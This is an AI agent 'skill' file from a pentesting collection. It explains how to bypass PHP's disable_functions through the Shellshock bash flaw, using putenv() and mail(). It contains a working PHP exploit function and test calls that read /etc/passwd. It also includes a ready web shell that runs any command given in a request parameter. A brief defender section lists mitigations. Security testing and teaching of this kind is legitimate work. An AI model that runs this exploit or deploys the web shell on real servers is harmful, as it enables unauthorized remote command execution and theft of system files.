Hacktricks-skills php-shellshock-bypass
Use this skill when pentesting PHP applications to bypass disabled_functions restrictions using the Shellshock vulnerability (CVE-2014-6271). Trigger when the user mentions PHP security testing, disabled_functions bypass, Shellshock exploitation, mail() function abuse, or needs to execute commands in restricted PHP environments. Always use for authorized security assessments only.
install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest:
skills/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit/SKILL.MDsource content
PHP Shellshock Disabled Functions Bypass
Overview
This skill helps you bypass PHP's
disable_functions restriction using the Shellshock vulnerability (CVE-2014-6271) in bash. This technique exploits the mail() function to execute arbitrary commands even when exec, system, shell_exec, and similar functions are disabled.
When This Works
This bypass is effective when:
- PHP version is 5.x (older versions)
is linked to bash (not dash, sh, or other shells)/bin/sh- The
function is NOT inmail()disable_functions - The target system has an unpatched bash vulnerable to Shellshock
- You have write access to create temporary files
Security Context
⚠️ AUTHORIZED USE ONLY - This technique should only be used:
- During authorized penetration testing engagements
- On systems you own or have explicit permission to test
- For security research and educational purposes
- Never against production systems without authorization
The Exploit Technique
How It Works
- Shellshock Vulnerability: CVE-2014-6271 allows command injection through environment variables in bash
- PHP Environment Variables: PHP allows setting environment variables with
(prefix restrictions may apply in Safe Mode)putenv() - Mail Function Abuse: The
function spawnsmail()
which inherits the malicious environment variable/bin/sh - Command Execution: When bash processes the environment variable, it executes the injected command
Implementation
<?php function shellshock_bypass($cmd) { // Check if /bin/sh is bash if (strstr(readlink("/bin/sh"), "bash") === false) { return "Not vulnerable: /bin/sh is not bash"; } // Create temporary file for output $tmp = tempnam(".", "data"); // Set malicious environment variable (PHP_ prefix for Safe Mode compatibility) putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); // Trigger mail() to spawn shell with our environment // -bv flags prevent actual mail delivery mail("a@127.0.0.1", "", "", "", "", "-bv"); // Read output $output = @file_get_contents($tmp); @unlink($tmp); if ($output !== "") { return $output; } else { return "No output or not vulnerable"; } } // Usage: shellshock_bypass("whoami"); ?>
Testing Steps
1. Check Disabled Functions
<?php echo "Disabled functions: " . ini_get('disable_functions') . "\n"; ?>
Look for:
exec, system, shell_exec, passthru, proc_open, popen
2. Verify Shell Type
<?php echo "Shell: " . readlink("/bin/sh") . "\n"; ?>
Must contain "bash" for this exploit to work.
3. Test Mail Function
<?php if (function_exists('mail')) { echo "mail() is available\n"; } else { echo "mail() is disabled\n"; } ?>
4. Run Exploit
<?php echo shellshock_bypass("id"); echo shellshock_bypass("uname -a"); echo shellshock_bypass("cat /etc/passwd"); ?>
Limitations
- PHP Version: Only works on PHP 5.x, not PHP 7+
- Bash Version: Requires unpatched bash (pre-4.2 or unpatched 4.2+)
- Safe Mode: May require
prefix on environment variablesPHP_ - Mail Configuration: Some mail configurations may block the
flags-bv - Output Capture: Relies on file I/O, which may be restricted
Detection & Mitigation
For Defenders
- Patch Bash: Update bash to patched version
- Disable mail(): Add
tomaildisable_functions - Use Modern PHP: Upgrade to PHP 7+ or 8+
- Monitor: Watch for unusual environment variable usage
- Chroot/Jail: Restrict file system access
Signs of Exploitation
- Unexpected temporary files in web directories
- Environment variables with function-like syntax
- Mail function calls with unusual parameters
- Commands executing despite disabled_functions
Related Techniques
- Other disabled_functions bypasses: Look for
,php://filter
,expect
alternativesproc_open - PHP wrappers:
,php://input
for data exfiltrationphp://filter - Safe Mode bypasses: Various techniques for older PHP versions
References
Usage in Web Shells
When building a web shell for testing:
<?php // Simple web shell with Shellshock bypass if ($_REQUEST['cmd']) { echo "<pre>" . shellshock_bypass($_REQUEST['cmd']) . "</pre>"; } ?> <form method="POST"> <input type="text" name="cmd" placeholder="Command"> <input type="submit" value="Execute"> </form>
Important Notes
- This is a legacy exploit - modern systems are unlikely to be vulnerable
- Always document findings in your penetration test report
- Consider the legal implications of using this technique
- Use as part of a comprehensive security assessment, not in isolation